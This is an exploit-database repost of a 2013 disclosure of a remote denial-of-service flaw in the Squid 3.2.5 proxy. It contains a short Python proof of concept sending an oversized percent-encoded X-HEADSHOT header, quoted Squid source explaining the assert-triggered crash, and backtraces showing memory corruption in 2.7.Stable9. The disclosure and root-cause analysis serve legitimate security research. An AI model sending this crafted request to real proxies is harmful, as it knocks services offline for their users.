Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption
CVE
Category
Price
Severity
CWE-119
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2013-03-06
CPE
cpe:cpe:/a:squid-cache:squid:3.2.5
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013030047 Below is a copy:##############################################################
# httpMakeVaryMark() header value 'value' (http.cc:603 line) #
##############################################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################
# Versions: 3.2.5
It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:
Request
-- cut --
#!/usr/bin/env python
print 'GET /index.html HTTP/1.1'
print 'Host: localhost'
print 'X-HEADSHOT: ' + '%XX' * 19000
print '\r\n\r\n'
-- cut --
Response
-- cut --
HTTP/1.1 200 OK
Vary: X-HEADSHOT
-- cut --
Code:
In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is
passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example
percent signs. This mean that the single charachter in request is now triple in length
(e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).
This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert
is invoked, which kills the child. When child is killed the Kid::stop() is called, which
increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,
then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main
process of squid (parent) with the following message:
"Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"
src/http.cc:
573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)
574 {
575 String vary, hdr;
576 const char *pos = NULL;
577 const char *item;
578 const char *value;
579 int ilen;
580 static String vstr;
581
582 vstr.clean();
583 vary = reply->header.getList(HDR_VARY);
584
585 while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {
586 char *name = (char *)xmalloc(ilen + 1);
587 xstrncpy(name, item, ilen + 1);
588 Tolower(name);
589
590 if (strcmp(name, "*") == 0) {
591 /* Can not handle "Vary: *" withtout ETag support */
592 safe_free(name);
593 vstr.clean();
594 break;
595 }
596
597 strListAdd(&vstr, name, ',');
598 hdr = request->header.getByName(name);
599 safe_free(name);
600 value = hdr.termedBuf();
601
602 if (value) {
603 value = rfc1738_escape_part(value);
604 vstr.append("=\"", 2);
605 vstr.append(value);
606 vstr.append("\"", 1);
607 }
lib/rfc1738.c:
143 /* Do the triplet encoding, or just copy the char */
144 if (do_escape == 1) {
145 (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);
146 dst += sizeof(char) * 2;
147 } else {
148 *dst = *src;
149 }
src/String.cc:
186 String::append( char const *str, int len)
187 {
188 assert(this);
189 assert(str && len >= 0);
190
191 PROF_start(StringAppend);
192 if (len_ + len < size_) {
193 strncat(buf_, str, len);
194 len_ += len;
195 } else {
196 // Create a temporary string and absorb it later.
197 String snew;
198 assert(len_ + len < 65536); // otherwise snew.len_ overflows below
199 snew.len_ = len_ + len;
200 snew.allocBuffer(snew.len_ + 1);
201
202 if (len_)
203 memcpy(snew.buf_, rawBuf(), len_);
204
205 if (len)
206 memcpy(snew.buf_ + len_, str, len);
207
208 snew.buf_[snew.len_] = '\0';
209
210 absorb(snew);
211 }
212 PROF_stop(StringAppend);
213 }
src/ipc/Kid.cc:
46 /// called when kid terminates, sets exiting status
47 void Kid::stop(status_type exitStatus)
48 {
49 assert(running());
50 assert(startTime != 0);
51
52 isRunning = false;
53
54 time_t stop_time;
55 time(&stop_time);
56 if ((stop_time - startTime) < fastFailureTimeLimit)
57 ++badFailures;
58 else
59 badFailures = 0; // the failures are not "frequent" [any more]
60
61 status = exitStatus;
62 }
70 /// returns true if master process should restart this kid
71 bool Kid::shouldRestart() const
72 {
73 return !(running() ||
74 exitedHappy() ||
75 hopeless() ||
76 shutting_down ||
77 signaled(SIGKILL) || // squid -k kill
78 signaled(SIGINT) || // unexpected forced shutdown
79 signaled(SIGTERM)); // unexpected forced shutdown
80 }
src/ipc/Kid.h:
23 /// keep restarting until the number of bad failures exceed this limit
24 enum { badFailureLimit = 4 };
25
26 /// slower start failures are not "frequent enough" to be counted as "bad"
27 enum { fastFailureTimeLimit = 10 }; // seconds
# BONUS POINT ;-)
# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*
#3 0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized
out>) at malloc.c:6283
#16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397
and
#3 0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)",
ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397
and
#3 0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks",
ptr=<optimized out>) at malloc.c:6283
#9 0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397
and
#3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)",
ptr=<optimized out>) at malloc.c:6283
#9 0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398
EOF
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum